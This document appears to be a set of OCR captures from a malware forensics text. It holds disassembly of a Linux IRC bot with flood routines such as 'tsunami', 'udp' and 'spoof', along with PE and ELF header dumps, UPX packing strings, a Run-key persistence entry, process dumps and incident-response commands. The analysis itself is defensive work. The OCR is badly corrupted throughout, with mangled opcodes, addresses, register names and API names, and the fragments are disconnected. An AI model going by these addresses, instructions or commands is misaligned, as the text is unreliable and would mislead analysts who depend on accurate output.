¥ CALL __DO_GLOBAL_CTORS_AUX_FUNCT()

8048asc, 8 df 33 00 00
8048a61: )
8048a62: 3

<cut for brevity>
0804a8fd <unknown>:
# [UNKNOWN_FUNCT]

80428£d: 55
804asze: 89 es

8042900: 83 ec 48
8042903: <7 45 £4 01 00 00 00
804290a: 83 ec 0c
804250d: 68 00 24 00 00
# CALL MALLOCEPLT_FUNCT(2400,BP)
804a012: 8 sd ez ff £f
8042917: 83 e 10
804a91a: 89 45 ed
804a01d: 83 ec 0c
8042920: 6a 00

# CALL TIMEGPLT_FUNCT(0)
804a922: 8 54 e2 £ £f
8042927: 83 e 10
804a52a: 89 45 ca
8042924 83 ec 0c
8042930: ££ 75 0c

¥ CALL MFORK_FUNCT (c)

804a933: e8 bf e ff £f
8042938 83 c4 10
8042935 85 0

804293d: 74 05

804a03¢: 9 40 01 00 00
8042044 83 7d 10 01
8042048 7% 20

804asda: 83 ec 04
804a54d: ££ 75 0c
8032950: 68 00 c6 04 08
8042055 ££ 75 08

¥ CALL SEND_FUNCT (8,804c600,c)
8042958 o8 52 o6 ££ £
804a054: 83 ca 10
8042960: 83 ec 0c
8042963: 6a 01

{ e
nov
sub

call
call
call

leave
ret

push
nov
sub

movl

sub
push

call
add
mov
sub
push

call
add
mov
sub
pushl

call
add
test
je
Imp
cmpl.
39
sub
pushl
push
pushl

call
add
sub
push

Saop
Sesp, tebp
50x8, sesp

8048d£8 <call_gmon_start>
8048e58 <frame_dumny>

804bed0 <__do_global ctors_aux>

tebp

sesp, tebp
50x48, sesp
$0x1, -0xc (2ebp)
s0xc, tesp
50x2400

8048b74 <malloceplt>
50x10, besp

%eax, ~0x1c (Sebp)
$0xc, Sesp

$0x0

8048bcd <time@plt>
50x10, besp

seax, ~0x3c (sebp)
$0xc, sesp

0xc (sebp)

8048££7 <mfork>
50x10, sesp

seax, teax

8042944 <unknown+0x47>
8042284 <unknown+0x187>
$0x1, 0x10 (tebp)

804a96a <unknown+0x6d>
$0x4, vesp

Oxc (tebp)

$0x804c600

0x8 (3ebp)

8048faf <send>
50x10, sesp
$0xc, tesp
$0x1
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E:\WinIR\>macmatch C:\ -c 2008-03-26:00.00 2008-03-28:00.00
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jcall
rou
pusn
1ea
push
ca11
push
ca11
1ca
pusn
push
push
pusnh
ca11
1ea
oy

GetForegroundwindow
esi, eax

100h ; nMaxCount
eax, [ebp+1paran]

eax 1pstring
GetForegroundtindow

eax 3 hind
GetuindouTextn

eax, [ebp+lParan]

eax 3 1paran
OFFED 3 wharan
oon Hsg

esi 3 hia
Sendliessagen

ecx, [ebpruar_108]

%, 23E6h
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x08049cc4  spoof
X08049e7b  host2ip
x08049efd udp
x0804a18d pan
X0804a57d  tsunami
080438fd unknown
08043386 nove
x0804azed help
x0804ad53  killall
x0804adfc  killd
X08043€3L _PRIVMSG
X0804b2f3 _376
X0804b349 _PING
x0808b367 352

e
I-ype <weturns to continue, or q <return> to quit---
S
X0804b61d  con
X0804b842 main
804bdde _libc_csu_init
0804be0c __libe_csu_fini
503bes0 _do_global_ctors_aux
sosbess _Find
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[UNKNOWN_FUNCT]

cALL
cALL
caLL
caLL
cALL
caLL
caLL
cALL
carL
cALL
cALL
caLL
cALL
cALL
cart
cALL
cALL

MALLOCGPLT_FUNCT (2400, B2
TIMEGPLT_FUNCT (0

MFORK_FUNCT (c)
SEND_FUNCT (8, 8040600, ¢)
EXTTEPLT_FUNCT (1)
ATOLEPLT_FUNCT ()
MEMSET@PLT_FUNCT (X, 0,10
HOST2IP_FUNCT (<)
SEND_FUNCT (8, 804c624, ¢)
RANDEPLT_FUNCT ()
SOCKET@PLT_FONCT (2,2,11)
TOCTLEPLT_FUNCT (5421, AX
SENDTOGPLT_FUNCT (2400, 0, AX, 10
CLoSEePLT_FUNCT (
TIMEGPLT_FUNCT (0
cLosserLT_FUNCT ()
EXTT@PLT_FUNCT (0
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Documents and Settings\Malware Lab\Desktop>ldd Video.exe

ntdll.dll => ntdll.dll (0x7c900000)
kernel32.dll => C:\WINDOWS\system32\kernel32.dll (0x7c800000)
user32.dll => C:\WINDOWS\system32\user32.dll (0x77d40000)
GDI32.d11 => C:\WINDOWS\system32\GDI32.d11 (0x77£10000)
ADVAPI32.d11 => C:\WINDOWS\system32\ADVAPI32.d1l (0x77dd0000)
RPCRT4.d11 => C:\WINDOWS\system32\RECRT4.d1l (0x77e70000)
oleaut32.dll => C:\WINDOWS\system32\oleaut32.dll (0x77120000)
MSVCRT.DLL => C: \WINDOWS\system32\MSVCRT.DLL (0x77¢10000)
OLE32.DLL => C:\WINDOWS\system32\OLE32.DLL (0x774e0000)
\WINDOWS\systen32\version.dll (0x77c00000)
C:\WINDOWS\systen32\conct132.d11 (0x5d090000)
WINDOWS\system32\shell32.d11 (0x7c9c0000)

: \WINDOWS\system32\wininet.dl1 (0x771b0000)
WINDOWS\system32\SHLWAPT.d11 (0x77£60000)
CRYPT32.d11 WINDOWS\system32\CRYPT32.d11 (0x77a80000)
MSASNL.dL1 => C: \WINDOWS\system32\MSASNL.d11 (0x77520000)
urlmon.dll => C:\WINDOWS\system32\urlmon.dll (0x77260000)
comdlg32.dl1 => C:\WINDOWS\system32\comd1g32.d11 (0x763b0000)

version.dll =>
comet132.d11 =
shell32.d11
wininet.dll
SHLWAPT.d11
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call  URLDownlsadToFilen
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o, 23E0h
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(ot

.

Short loc_uwsson
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linked, corrupted section header size
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push
push
call
test
jbe

push
push
call
push
push
push
push
call
xor

Rou

call

offset anplicativoDesc
o

FindWindoun

eax, eax

short loc_poc12
offset anplicativoDesc
o

Findiindoun

o

oF060n

112h

eax

SendHessagen

edx, edx

eax, [ebx+3Fcn]

sub 431FBO

“(Aplicativo desconhecido)

“(Aplicativo desconhecido)

Alerta de

RAlerta de
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Ble Edt View Terminal Tobs Help

(gdb) set disassembly-flavor intel
(gdb) disassenble 0x08042933 0x08042%6a
Dump of assembler code fron 0x804a933 to 0x804a06a:

008043933
008042938
008043930
008043934
008042937
008042944
008042948
008043942
0x0804a94d
008043950
008043955
008042958
08043950
008042960
008042963
0x0804a965

<unknown+5d>:
<unknown+59>-
<unknown+62>-
<unknown+64>-
<unknown+66>-
<unknown+71>
<unknown+75>.
<unknown+77>-
<unknown+80>
<unknown+83>:
<unknown+88>-
<unknown+91>-
<unknown+96>-
<unknown+99>-
<unknown+102:
<unknown+104>:

End of assembler dump.

call
add
test
Je
jmp
mp
19
sub
push
push
push
call
add
sub
push
call

0xB048 7 <nfork>
esp,0x10

eax, eax

6x804a944 <unknown+71>
0xB04aa84 <unknown+391>
DHORD PTR [ebp+16],0x1
6x804ag6a <unknown+109>
esp,0xd.

DHORD PTR [ebp+12]
0x804c600

DHORD PTR [ebp+8]
6xB048faf <Send>
esp,0x10

esp, 0xc

ox1

0xB048Cd4 <exiteplt>
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lab@MalwareLab /Malware Repository$ extract packed sysfile
mimetype - application/elf
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Select Your Image or Disk

 ImageFie(s) (" PhysicalDisk

[Filtraining-sceneZ\stageZlsnapzitraining-scenez-  Browse

Select Output Directory For VM Config Fies

[CHiDocuments and SettingstAdinistrator Browse
What do you want to do?
 Launch My Image " Generate Config Only

Actions

Start Clear

Extracted Cunent Control Set Valus: 1
Critioal Device Databaze Updated

System Hive Unloaded

Snapshot Unmounted

Bootable Parttion 1: winXPPro prepared for launoh
Attempting to Launch Forensio Image in Virtual Machine
Please Wait
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Messages






OEBPS/images/f000013gr59.jpg
E:\WinIR\Users>net user

User accounts for \\Kim-MRKTG-WSS

Adninistrator Kim
Guest HelpAssistant SUPPORT_388945a0

The command completed successfully.
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C:\Documents and Settings\Malware Lab\Desktop>Dumpbin /SYMBOLS Video.exe
Microsoft (R) COFF/PE Dumper Version 8.00.50727.42
Copyright (C) Microsoft Corporation. ALl rights reserved.

bump of file Video.exe

File Type: EXECUTABLE IMAGE

Summary
1000 .adata
8000 .aspack
3000 .idata
1000 .rdata
F000 .reloc
BAB00O .rsrc
1000 .tls
2000 BSS
C000 CODE

3000 DATA
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lab@MalwareLab /Malware Repository$ 1ldd packed sysfile
not a dynamic executable
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E:\WinIR\eldump -1 security > E:\security-events.log
E:\WinIR\eldump -1 system > E:\system-events.log
E:\RWinIR\eldump -1 applicaiton > E:\application-events.log
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-adata  00CA6000h 00001000h OOOEB8OOh 00000000h O00OEB80Oh C0000040h

Listing of all used data directory entries (used: 4, total: 16)
Name Phys offs RVA Phys size Section
Import Table O00E4DACh OOCOEFACh 00000498h .aspack

Resource Table 00052000h 000F6000h 00BATCO0h .rsrc
Base relocation Table O000E4DS54h OOC9EFS4h 00000008h .aspack
TLS Table 000E4D3Ch OOCOEF3Ch 00000018h .aspack

Functions from the following DLLs are imported
[0] kernel32.dll
[1] user32.dll
[2] advapi32.dll
(3] oleaut32.dll
(4] advapi32.all
[5] version.dll
(6] gdi32.ail
[7] user32.dll
(8] ole32.dll
(9] oleaut32.dll
(10) ole32.dl1
(11] oleaut32.d11
[12] comcti32.d11
[13) shell32.d1l
[14] wininet.d1l
[15] urlmon.dil
[16] shell32.d11
(17) comdlg32.d11
(18] shlwapi.dll
(19) user32.d1l

Resources at offset 00052000n (RVA 000F6000h) for 12221440 bytes
cursor:
ID: 00000001h/1
RVA: 000F7054h; Offset: 00053054h; Size: 308 bytes
D: 00000002h/2
RVA: 000F7188h; Offset: 00053188h; Size: 308 bytes
1D: 00000003h/3
RVA: 000F72BCh; Offset: 000532BCh; Size: 308 bytes
1D: 00000004h/4
RVA: 000F73FOh; Offset: 000533FOh; Size: 308 bytes
ID: 00000005h/5
RVA: 000F7524h; Offset: 00053524h; Size: 308 bytes
ID: 00000006h/6
RVA: 000F7658h; Offset: 00053658h; Size: 308 bytes
ID: 00000007h/7
RVA: 000F778Ch; Offset: 0005378Ch; Size: 308 bytes
Bitma
1D: 80000E98h/2147487384
RVA: 000F78COh; Offset: 000538COh; Size: 464 bytes
ID: 80000EASH/2147487400
RVA: 000F7AS0h; Offset: 00053A%0h; Size: 484 bytes
ID: 80000EB4N/2147487412
RVA: 000F7C74h; Offset: 00053C74h; Size: 464 bytes
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lab@MalwareLab /Malware Repository$ readelf -h packed sysfile

ELF Header:
Magic:
Class

Data:
version:
0s/ABI:

RBI Version:
Type:
Machine:
Versior
Entry point address:
Start of program headers:
Start of section headers:
Flags:

Size of this header:
size of program header:
Number of program headers
Size of section headers:
Number of section headers:
Section header string table

index:

7€ 45 4c 46 01 01 01 00 4c 69 6 75 78 00 00 00

ELF32
2's complement, little endian
1 (current)

UNIX - System V.

7%

EXEC (Executable file)

Intel 80386

ox1

Oxcoabed

52 (bytes into file)

0 (bytes into file)

0x0

52 (bytes)

32 (bytes)

2

0 (bytes)

0

0
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spoolsv
i Registry -> Machine Run
: "C:\Windows\temp\spoolsv\spoolsv.exe"

pisabled : No
Product Name : mIRC

File Version :6.03
Description : mIRC

Company : mIRC Co. Ltd.
Location :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Run
File Created Date : 3/18/2008 1:52:19 PM
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gt2 0.34 (c) 1999-2004 by PHaX (coding@helger.com)

- C:\Documents and Settings\Malware Lab\Desktop\Video.exe (964608 bytes)

- binary

Is a DOS executable

Size of header:

00000040h/64 bytes

File size in header: 00000250h/592 bytes
00000040h/64
000EBSBOR/964016 bytes

Entrypoint:
overlay size:
No relocation

entries

PE EXE at offset 00000100h/256

Entrypoint:

Entrypoint RVA:
Entrypoint section:

Calculated PE EXE size:

Inage base:

Required CEU type:

Required 0S:
Subsystem:

Linker version:
Stack reserve:

Stack commit

Heap reserve:

Heap commit:
Flags:

File is executable
Line numbers stripped from file
Local symbols stripped from file
Little endian

Machine based on 32-bit-word architecture
Big endian

Sections according to

Neme
cone
DATA
8ss
.idata
.tls
.rdata
.reloc

.aspack

RVA

00001000h

000DD000R

000E0000h

000E2000h

000E5000h

000E6000h

000E7000R

000F6000h

00CSE000R

000E3E01h
00C9E001h
! .aspack’

00400000h
80386

/ 933377

000EBBOOR / 964608 bytes

4.00 - Win 95 or NT 4

00100000h / 1048576

00004000h

sindows GUT

2.25

7 16384

&

00100000h / 1048576

00001000h

/ 4096

&

section table (section align: 00001000h) :

virt size

000DC000h

00003000h

00002000h

00003000h

00001000h

00001000h

0000F000h

00BAB000R

00008000k

Phys offs
000004008
000456008
00050c00n
00050c00R
00051E00R
000515008
00052000
000520008

000E3E00R

ehys size
0004E200n
000016008
00000000
00001200
00000000n
000002008
00000000h
00091£00

00007A00h

Phys end
0004Fs00h
onosocoo
00050c00A
00051E00R
00051E008
00052000n
00052000n
000E3E00

000EB800R

Flags
00000408
co000040n
00000408
00000408
c0000040n
0000040R
0000040k
0000040n

€0000040h
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lab@MalwareLab /Malware Repository$ nm packed sysfile
nm: packed_sysfile: no symbols
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\WinIR\Autoruns\autorunsc.exe

<excerpt>

HKLM\SOFTWARE\Mi crosoft \Windows\CurrentVersion\Run
spoolsv
nIRC
RIRC Co. Ltd.
C:\windows\temp\spoolsv\spoolsv.exe
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ID: 00000FFOh/4080
RVA: 001007A8h; Offset:
ID: 00000FF1h/4081
RVA: 00100984h; Offset:
ID: 00000FF2h/4082
RVA: 00100ADS8h; Offset:
1ID: 00000FF3h/4083
RVA: 00100D18h; Offset:
1ID: 00000FF4n/4084
RVA: 00100F0Ch; Offset:
ID: 00000FFSh/4085
RVA: 00100FF8h; Offset:
ID: 00000FF6h/4086
RVA: 0010126Ch; Offset:
ID: 00000FF7h/4087
RVA: 001014E8h; Offset:
ID: 00000FF8h/4088
RVA: 001018F8h; Offset:
1ID: 00000FF9h/4089
RVA: 00101C64h; Offset:
ID: 00000FFAh/4090
RVA: 00101FFOh; Offset:
ID: 00000FFBh/4091
RVA: 0010241Ch; Offset:
1ID: 00000FFCh/4092
RVA: 0010250Ch; Offset:
1ID: 00000FFDh/4093
RVA: 00102584h; Offset:
ID: 00000FFEN/4094
RVA: 00102858h; Offset:
ID: 00000FFFh/4095
RVA: 00102C38h; Offset:
ID: 00001000h/4096
RVA: 00102ECOR; Offset:
RCData:
ID: 80000FS8h/2147487576
RVA: 00103294h; Offset:
ID: 80000F66h/2147487590
RVA: 001032Adh; Offset:
ID: 80000F7EN/2147487614
RVA: 00103928h; Offset:
ID: 80000F8CH/2147487628
RVA: 0010DB48h; Offset:
1ID: 80000F9Ah/2147487642
RVA: 0012FDOCh; Offset:
ID: 80000FBAN/2147487674
RVA: 0013C1F8h; Offset:
ID: 80000FCCh/2147487692
RVA: 004980B8h; Offset:
ID: 80000FDEN/2147487710
RVA: 0049865Ch; Offset:
ID: BOOOOFFOh/2147487728
RVA: 004BC260h; Offset:

0005C7A8h;
0005C984h;
0005CADER;
000sCD18h;
o00scrachs
o00scresh;
000sD26h;
0003D4E8h;
0005p8E8h;
000sDCEeh;
0005DFE0R;
000sE41Ch;
000sES0Chs
0005ESE4hs
0005E858h;
000sEC38h;

0005EFCOR;

0005£294h;
000sE284n;
000sF928h;
00069848h;
00088D0Ch;
00038178h;
003¢7088h;
003£765Chs

00418260h;

size:

size:

size:

size:

Size:

size:

Size:

size:

size:

size:

size:

size:

size:

Size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

476 bytes
340 bytes
576 bytes
500 bytes
236 bytes
628 bytes
436 bytes
1040 bytes
876 bytes
308 bytes
1068 bytes
240 bytes
216 bytes
628 bytes
992 bytes
904 bytes

724 bytes

16 bytes
1668 bytes
41503 bytes
139715 bytes
50411 bytes
3534525 bytes
1441 bytes
134147 bytes

134811 bytes
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lab@MalwareLab:/ Malware Repository$ clamscan packed sysfile
/hone/1ab/Malware Repository/packed_sysfile: OK

SCAN SUMMARY
Infected files: 0
Time: 0.059 sec (0 m 0 s)

lab@Maluarelab:/ Malware Repository$ fpscan packed_sysfile

F-PROT Antivirus version 6.2.1
FRISK Software International (C) Copyright 1989-2007

Engine version: 4.4.2.54
Virus signatures: 200802022046e2a24a6cde3ae88113bbbe69cl Saeddc
(/opt/f-prot/antivir.def)

Scanning: /
Results:

Files: 1
Skipped files: 0

MBR/boot sectors checked: 0
Objects scanned: 1
Infected objects: 0

Files with errors: 0
Disinfected: 0
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ID: 80000EC6h/2147487430
RVA: 000FTE44h; Offset:
ID: 80000ED6h/2147487446
RVA: 000F8014h; Offset:
ID: 80000EE4n/2147487460
RVA: 000F81E4h; Offset:
1ID: 80000EF6h/2147487478
RVA: 000F8384h; Offset:
ID: 80000F00N/2147487488
RVA: 000F8584h; Offset:
ID: 80000F0AN/2147487498
RVA: 000F8754h; Offset:
ID: 80000F1Ah/2147487514
RVA: 000F8924h; Offset:
ID: 80000F26h/2147487526
RVA: 000F8AF4N; Offset:
Tcon:
ID: 00000001h/1
RVA: 00CAS828h; Offset:
ID: 00000002h/2
RVA: 00CAS2COh; Offset:
D: 00000003h/3
RVA: 00CA4FDSh; Offset:
ID: 00000004h/4
RVA: 00CA4730h; Offset:
ID: 00000005h/5
RVA: 00CA40CBh; Offset:
ID: 00000006h/6
RVA: 00CA3220h; Offset:
Dz 00000007h/7
RVA: 00CA2DBSh; Offset:
ID: 00000008h/8
RVA: 00CALD10h; Offset:
ID: 00000009h/9
RVA: 00C9F768h; Offset:
bialog:
ID: 80000F40h/2147487552
RVA: 000FEDC4h; Offset:
String Table:
ID: 00000FE9H/4073
RVA: 000FEE1Sh; Offset:
ID: 00000FEAR/4074
RVA: 000FF190h; Offset:
1ID: 00000FEBh/4075
RVA: 000FFSDOh; Offset:
ID: 00000FECh/4076
RVA: 000FF980h; Offset:
ID: 00000FEDR/4077
RVA: 000FFCC8h; Offset:
ID: 00000FEER/4078
RVA: 000FFF90h; Offset:
ID: 00000FEFR/4079
RVA: 0010047Ch; Offset:

00053844h;
00054014h;
00054120k
00054384h;
00054584h;
00054754h;
00054924h;

00054AF4R;

000z8628h;
000280C0h;
0002ADD8N;
00025 30n;
000E9EC8h;
00029020n;
00088E8h;
00027810h;

00085568h;

0005ADCAR;

000saE1Eh;
00058150h;
00058500h;
00058980h;
o00sBCCeh;
00058F30h;

0005C47Ch;

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

size:

Size:

464 bytes
464 bytes
164 bytes
464 bytes
164 bytes
164 bytes
164 bytes

232 bytes

296 bytes
1384 bytes
744 bytes
2216 bytes
1640 bytes
3752 bytes
1128 bytes
4264 bytes

9640 bytes

82 bytes

888 bytes
1088 bytes
944 bytes
840 bytes
712 bytes
1260 bytes

812 bytes
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lab@MalwareLab:~/Malware Repository$ strings packed sysfile |more
[excerpt]

Linux
UPK!g

uBx!

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$1d: UPX 2.01 Copyright (C) 1996-2006 the UPX Team. All Rights Reserved. §
UPX!u

UPX!
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& Windows File Analyzer

& PA - prefetch

& Prefetch Analysis

Application

MMC.EXE 05973941 pf

Directory: CAWINDOWS \Prefetch

Vokime seiial FAF2.076E

Vohme labet: [BM_PRELOAD.

Enbedded Date ~
9/3/2007 50324 PM

WMIAPSRY EXE-IE2270A5 pf  9/3/2007 80332 PM
SMLOGSVCEXE-OS4BTEEC A  9/3/2007 BO3IIPM
RUNDLLI2EXE-3780E2E0p1  9/3/2007 BO355PM

MSHTA EXE-331DF023.p1

9/3/2007 80355 PM

NEWPICEXE12CEREQ2pE  9/3/2007 8:41:23PM

TORX EXE-37386085 o

9/3/2007 8.41.23PM

REFRESH[1}EXE-OFO4CEA D 9/3/2007 84253 PM
RUNDLL32EXE-254B0057.p1  9/4/2007 4:25:21 AM

<

Created
9/3/2007 80334 PM
9/3/2007 803:42 P
9/3/2007 80333 PM
9/3/2007 80355 PM
9/3/2007 8.04:05 PM
97372007 8:41:23PM
9/3/2007 8.41.33PM
9/3/2007 84309 PM
/472007 426:31 AM

Wikten
9/3/2007 80334 P
9/3/2007 80342 PM
9372007 803:34 PM
9/3/2007 80355 PM
9/3/2007 80405 PM
97372007 84123 PM
9/2/2007 8.41:33PM
9/2/2007 84309 PM
472007 42631 M

Runs

2 B

B
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ocuments and Settings\Walware Lab\Desktoj

Version rfomaton
Fiename: [FESROTRES

Conmens: [Ragiscrade 7. Prie
Version:  [1.0.0.0

Product |

Conpary: [Feime

Compier nfomaton:
Language: [
Compier: |
futor
[T

Compression / Encryption -

Progan:  [iSPack

uor. [Rieney Solodovmiio
VAL ez ek coar

Qe P open ) view B onTop T About

Database Version 4.5- Last update on Tuesday, Noverber 7, 2000
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E:\WinIR\Prefetch\cmd.exe /C dir "#SystemRoot¥\prefetch”
E:\WinIR\Prefetch\prefetch-lastmodified. txt.

B:\WinIR\Prefetch\cmd.exe /C dir /TC "#SystemRoot#\prefetch” >
E:\WinIR\Prefetch\prefetch-created. txt.
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004390FCh; 293593 bytes
8000101Ah/2147487770
RVA: 00524BD8h; Offset: 00480BDSh;
ID: 8000102Eh/2147487790
RVA: 00BO12Edh; Offset: 00ASD2E4h;
ID: 00007FF9R/32
RVA: 00C9D6RAh; Offset: 00BF96Bdh; Size: 20 bytes
ID: 00007FFAR/32762
RVA: 00C9DECEh; Offset:
ID: 00007FFBh/32763
RVA: 00CODEDCh; Offsat: 00BF96DCH:
1D: 00007ECh,
RVA: 00CID6FOh; Offset: 00BF96FOh;
ID: 00007FEDh/32765
RVA: 00C9D704h; Offset: 00BFS704h; Size: 20 bytes
00007FFER/32766
RVA: 00C9D718h; Offset: 00BF9718h;
ID: 00007FFFh/32767
RVA: 00C9D72Ch; Offsat: 00BF972Ch; Size: 20 bytes

"ID: 00000001h/1
RVA: 00COF44dh; Offse
FileV: 1.0.0.0
ProductVersion: 1.0.0.0

: <

6145803 bytes

1688528 bytes

20 bytes

bytes

1D
20 bytes

000E5244h; §:

InternalNam
LegalCopyright: '
LegalTrademarks: '*
OriginalFil
ProductName

EroductVeraiont 11.0.0.0°
Comnents: 'Registrads P. Primo’ -

Total resource size: 12220567 bytes (daf

TLS at offset 00OE4DICh (RVA 00C
1 TLS directory entries

Processed with:
Found packer 1

key to end the program

) for 24 bytes

Jpress an:
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77440000 41109608 Aug 04 00:56:40 2004 C:\WINDOWS\systen32\USER3Z.d1l
77£10000 41109697 Aug 04 00:56:07 2004 C:\WINDOWS\system32\GDI32.d1l
77dd0000 411096a7 Aug 04 00:56:23 2004 C:\WINDOWS\system32\ADVAPI32.d11
77670000 411096ae Aug 04 00:56:30 2004 C:\WINDOWS\system32\RPCRT4.d1l
774€0000 411096£2 Aug 04 00:57:38 2004 C:\WINDOWS\system32\ole32.dll
77¢10000 41109752 Aug 04 00:59:14 2004 C:\WINDOWS\system32\msvcrt.dll
77120000 411096£3 Aug 04 00:57:39 2004 C:\WINDOWS\systen32\OLEAUT32.d11
5ad70000 411096bb Aug 04 00:56:43 2004 C:\WINDOWS\system32\uxtheme.dll
71ad0000 411096££ Aug 04 00:57:51 2004 C:\WINDOWS\system32\wsock32.d1l
7160000 41109652 Aug 04 00:57:38 2004 C:\WINDOWS\system32\WS2_32.d11
71220000 411096£3 Aug 04 00:57:33 2004 C:\WINDOWS\system32\WS2KELP.d1l
76000000 411096a9 Aug 04 00:56:25 2004 C:\WINDOWS\system32\RasApi32.dll
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Lab@MalwareLab:~/Maluare Repository$ readelf --section-headers sysfile
There are 34 section headers, starting at offset Ox6%ed:

section Headers:
(r)

[
(
(
(
t
i
(
(
(

0
1]
2

3]
4
5]
6]
7
8]
91

(10]
(1]
n2)
(13)
(14]
(151
(161
an
(8]
1]
(201
(211
(22]
(23]
(241
(251
1261

Name

.interp
_note.ABI-tag
“hasn

_dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt

.init

-plt

“text

“fini

_rodata
_eh_frame
.data

.dynamic
.ctors

.dtors

“jer

-got.

-bss

-comment
_debug_aranges
_debug_pubnames.
sBidng tnfo:

Type
NULL
PROGBITS
NOTE
HASH
DYNSYM
STRTAB
VERSYM
VERNEED
REL

REL
PROGBITS
PROGBITS
PROGBITS
PROGBITS
PROGBITS
PROGBITS
PROGBITS
DYNAMIC
PROGBITS
PROGBITS
PROGBITS
PROGBITS
NOBITS
PROGBITS
PROGBITS
PROGBITS
PROGBITS

Addr
00000000
080480£4
08048108
08048128
08048228
08048638
080487£0
08048864
08048894
0804889¢
08048adc
08048264
08048ddd
0804be6d
0804280
0804c£34
0804d000
08044120
0804d1e8
0804d1£0
0804d1£8
0804d1fc
08044300
00000000
00000000
00000000
00000000

ofe
000000
0000£4
000108
000128
0002a8
000638
0007£0
000864
000894
00089¢
000a4c
000a64
000dd4
003e64
003e80
004£34
005000
005120
00518
0051£0
0051£8
0051£c
005300
005300
005438
005490
0054b5

size
000000
000013
000020
000180
000390
000168
000072
000030
000008
000160
000017
000370
003090
000015
001053
000004
000120
0000c8
000008
000008
000004
000068
000670
000132
000058
000025
000200

s
0
00
0
0
1
o
02
0
0
08
00
0
0
00
00
o
0
08
0
00
00
0
00
00
0
0
00

Flg

B

>
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E:\WinIR\Shares>net share

Share name  Resource Remark

ADMINS C:\WINDOWS Remote Admin
cs N Default share
1pCS Remote IPC

The command completed successfully.
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E:\WinIR\ProcessDunping\>userdunp.exe 1936 e:\WinIR\Process
bumping\Results\1936.dmp

User Mode Process Dumper (Version 8.1.2029.4)

Copyright (c) Microsoft Corp. All rights reserved.
bumping process 1936 (tywv.exe) to
e:\WinIR\ProcessDumping\Results\1936. dmp.

The process was dumped successfully.
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process: created C:\WINDOWS\explorer.exe -> C:\Documents and Settings\Malware La
b\Desktop\Video.exe

file: C:\Documents and Settings\Malware Lab\Desktop\Video.exe -> C:\WINDOWS\help\t
vDebug. log

file: Write C:\WINDOWS\system32\ZoneLabs\vsmon.exe -> C:\WINDOWS\Internet Logs\t
vDebug . Log

file: Write C:\WINDOWS\system32\ZoneLabs\vsmon.exe -> C:\WINDOWS\Internet Logs\t
vDebug. log
file: Write C:\NINDOWS\system32\ZoneLabs\vsmon.exe > C:\WINDOWS\Internet Logs\t
vDebug. log

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe ->

HKCU\ Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache
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Filename + spoolsv
Full Path C:\WINDOHS\Temp\spoolsv
Handle : oxe

Created Time + 3/18/2008 1:52:20 oM
Modified Time : 3/18/2008 1:52:20 PM
Attributes : oas

File Size t 0

Read Access P

Write Access :
Delete Access

shared Read o
Shared Write o

Shared Delete :

Granted Access  : 0x00100020
File Position i 0

Process 1D : 1860
Process Name : rundll32.exe

Process Path

C:\WINDOWS\systen32\rund1132.exe
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SystemRoot=C: \WINDOWS
DOCUME~1\Eric\LOCALS~1\Temp
\DOCUME~1\Eric\LOCALS~1\Temp

USERDOMATN=ERIC-5
USERNAME=Eric
USERPROFILE=C: \Documents and Settings\Eric

\WINDOWS
Finished dump check

windir
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ModuleName Code  Data  Bss Paged  Init LinkDate

ntkrnlpa.exe 447488 93824 01152000 174592 Tue Aug 2004
hal.dll 35456 42624 0 29952 14464 Tue Aug 2004
KDCOM.DLL 2560 256 o 1280 512 Fri Aug 2001
BOOTVID.d1l 5632 3584 o o 512 Fri Aug 2001
ACPI.sys 110336 11008 0 41984 4864 Tue Aug 2004
WMILIB.SYS 512 0 0 1280 256 Fri Aug 2001
pci.sys 16000 1664 0 34176 5632 Tue Aug 2004
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7690000 411096ad Aug 04 00:56:29 2004 C:\WINDOWS\system3z\rasman.dll
56860000 411096ac Aug 04 00:56:28 2004 C:\WINDOWS\system32\NETAPI32.dll
76eb0000 411096b6 Aug 04 00:56:38 2004 C:\WINDOWS\system32\TAPI32.dll
77£60000 411096bc Aug 04 00:56:44 2004 C:\WINDOWS\system32\SHLWAPT.d1l
7680000 411096b4 Aug 04 00:56:36 2004 C:\WINDOWS\system32\rtutils.dll
76040000 41109606 Aug 04 00:57:10 2004 C:\WINDOWS\system32\WINMM.dLl

77340000 4110968c Aug 04 00:55:56 2004 C:\WINDOWS\WinSxS\x86_Microsoft.
Windows .Common-Controls_6595b64144cctldf_6.0.2600.2180_x-ww_ag4f1££9\conct132.dll

77£e0000 411096cl Aug 04 00:56:49 2004 C:\WINDOWS\system32\secur32.dll
77670000 4110974f Aug 04 00:59:11 2004 C:\WINDOWS\system32\msvl_0.dll
76460000 4110969a Aug 04 00:56:10 2004 C:\WINDOWS\system32\iphlpapi.dll

SubSystemData: 00000000

ProcessHeap: 00140000

ProcessParameters: 00020000

'C: \WINDOWS\systen32\tywv.exe

WINDOWS\systen32\tywy.exe’

NC: \WINDOWS\system32\tywy. exe” *

*C: \WINDONS \system32; C: \WINDOWS\system32; C: \WINDOWS \system;
WINDOWS; . ;C: \WINDOWS \system32;C: \WINDOWS; C: \WINDOWS\Systen32\ben”

Environment: 00010000
A

ALLUSERSPROFILE=C: \Documents and Settings\All Users
APPDAT:
CLIENTNAM:

WindowTitls

InageFile:

CommandLins
Dl1Pat!

:\Documents and Settings\Eric\Application Data

onsole
CommonProgranFiles=C:\Progran Files\Common Files
COMPUTERNAME=ERIC-5

ComSpec=C: \WINDOWS \systen32\cnd . exe
FP_NO_HOST_CHECK=NO

HOMEDRIVE:
HOMEPATH=\Documents and Settings\Eric
LOGONSERVER=\\ERIC-5
NUMBER_OF_PROCESSOR!
0S=iindows_NT

Path=C: \WINDOWS\system32;C: \WINDOWS; C: \WINDOWS\Systen32\Hbem

PATHEX

COM; .EXE; .BAT; .CHD; .VBS; .VBE; .JS; . JSE; .WSF; .WSH
PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 8,
GenuineIntel

PROCESSOR_LEVE;
PROCESSOR_REVISION=0£08
ProgramFile:

\Program Files
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Threat Score | Conclusion

00-07 Typically not suspicious, at least in the context of properties that MRC analyzes.

